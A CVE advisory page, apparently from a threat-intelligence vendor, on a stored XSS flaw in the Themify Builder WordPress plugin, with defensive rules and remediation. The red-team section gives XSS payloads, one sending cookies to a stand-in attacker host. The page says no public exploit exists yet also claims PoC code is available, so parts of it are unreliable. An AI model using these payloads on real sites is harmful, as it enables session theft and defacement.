CVE-2025-9353
Executive Summary
CVE-2025-9353 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themify Builder plugin for WordPress, affecting all versions up to and including 7.6.9. The vulnerability arises from insufficient input sanitization and output escaping on several parameters, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious payload. The vendor released a partial patch in version 7.6.9, but the full remediation status remains unknown. The CVSS score is 6.4 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood in the wild. No public proof-of-concept (PoC) or exploit code is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress ecosystem, targeting the Themify Builder plugin. It does not affect the underlying web server (Apache or Nginx) but rather the plugin’s handling of user input within WordPress pages. The attack vector requires authenticated access with at least Contributor-level permissions, which limits the attack surface to users who can create or edit posts/pages.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): Low – Attacker needs Contributor-level access.
- User Interaction (UI): None – No user action needed for exploitation.
- Scope (S): Changed – The injected script can affect other components (e.g., other users’ sessions).
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used WordPress plugin could lead to session hijacking, defacement, or phishing attacks. The low EPSS score suggests limited active exploitation, but the partial patch status warrants attention.
Deep Dive & Mechanics
The vulnerability resides in the Themify Builder plugin’s handling of user-supplied data through several parameters during page/post creation or editing. The plugin fails to properly sanitize input and escape output when rendering content, allowing authenticated attackers to inject malicious JavaScript or HTML. This stored XSS persists in the database and executes in the context of any user viewing the affected page.
Root Cause: Insufficient input validation and output escaping in the plugin’s shortcode or builder element processing. The vulnerable parameters likely include fields like text, url, title, or custom CSS classes that are not filtered before being stored and later rendered.
Attack Flow:
- Attacker with Contributor-level access logs into WordPress.
- Attacker creates or edits a page/post using Themify Builder.
- Attacker injects malicious script (e.g.,
<script>alert('XSS')</script>) into a vulnerable parameter. - The script is stored in the WordPress database without proper sanitization.
- When any user (including administrators) visits the page, the script executes in their browser.
Impact: The attacker can steal session cookies, redirect users to malicious sites, perform actions on behalf of the victim, or deface the site.
Vulnerable vs. Patched Code
Since no specific code diff is publicly available, the following is a hypothetical comparison based on the vulnerability description.
Vulnerable Code (pre-7.6.9):
// Example of vulnerable parameter handling
function themify_builder_render_element($atts) {
$text = $atts['text']; // No sanitization
echo "<div class='builder-text'>$text</div>"; // No escaping
}
Patched Code (7.6.9 partial):
function themify_builder_render_element($atts) {
$text = isset($atts['text']) ? sanitize_text_field($atts['text']) : '';
echo "<div class='builder-text'>" . esc_html($text) . "</div>";
}
The partial patch in 7.6.9 likely addressed some parameters but not all, leaving residual XSS vectors. A full patch would require comprehensive sanitization and escaping across all builder parameters.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with Themify Builder plugin version <= 7.6.9.
- Authenticated user account with Contributor-level privileges.
Exploitation Steps:
- Log in to WordPress as a Contributor.
- Navigate to Pages > Add New.
- Use Themify Builder to add a text module.
- In the text field, inject a payload such as:
<img src=x onerror=alert(document.cookie)> - Save/publish the page.
- When an administrator or other user views the page, the script executes.
Payload Examples:
- Session hijacking:
<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script> - Defacement:
<script>document.body.innerHTML='<h1>Hacked</h1>'</script>
Note: No public exploit code is available; this is a manual exploitation scenario.
Blue Team (Detection & Response)
Detection:
- Monitor for unusual page/post creation or editing by Contributor-level users.
- Look for suspicious HTML/JavaScript in page content (e.g.,
<script>,onerror,onload). - Use Web Application Firewall (WAF) rules to block common XSS patterns.
Response:
- Immediately disable the Themify Builder plugin if exploitation is suspected.
- Review recent page/post changes for injected scripts.
- Remove malicious content from the database.
- Reset compromised user accounts and rotate session tokens.
- Apply the partial patch (update to 7.6.9) and monitor for further issues.
Indicators of Compromise (IOCs)
File-based IOCs:
- Modified WordPress posts/pages containing
<script>tags or event handlers (e.g.,onerror,onload). - Suspicious entries in the
wp_poststable withpost_contentcontaining XSS payloads.
- Modified WordPress posts/pages containing
Network-based IOCs:
- Outbound connections to known malicious domains from WordPress admin sessions.
- HTTP requests with XSS payloads in POST parameters to
wp-admin/admin-ajax.phpor page edit endpoints.
Log-based IOCs:
- Unusual page creation/edit activity from Contributor accounts.
- Repeated failed login attempts from Contributor accounts (if privilege escalation is attempted).
Detection Engineering
YARA Rule
rule Detect_Themify_Builder_XSS_Payload {
meta:
description = "Detects stored XSS payloads targeting Themify Builder plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9353"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
$xss4 = /javascript\s*:/is
condition:
any of ($xss*) and filesize < 10MB
}
Sigma Rule
title: Stored XSS via Themify Builder Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress posts/pages via Themify Builder
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/wp-admin/post.php'
cs-uri-query|contains: 'action=edit'
sc-status: 200
cs-username|contains: 'contributor'
condition: selection
falsepositives:
- Legitimate use of JavaScript in posts by authorized users
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9353 Themify Builder Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"action=edit"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update Themify Builder to version 7.6.9 (partial patch) if not already applied.
- Restrict Contributor-level access to trusted users only.
- Implement a Web Application Firewall (WAF) with XSS protection rules.
- Enable Content Security Policy (CSP) headers to mitigate script execution.
Long-term Fixes:
- Monitor vendor for a full patch addressing all vulnerable parameters.
- Conduct regular security audits of WordPress plugins.
- Use input validation and output escaping libraries (e.g., WordPress
esc_html(),sanitize_text_field()). - Implement principle of least privilege for user roles.
Workarounds:
- Disable the Themify Builder plugin until a full patch is available.
- Use a security plugin (e.g., Wordfence) to block XSS attempts.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.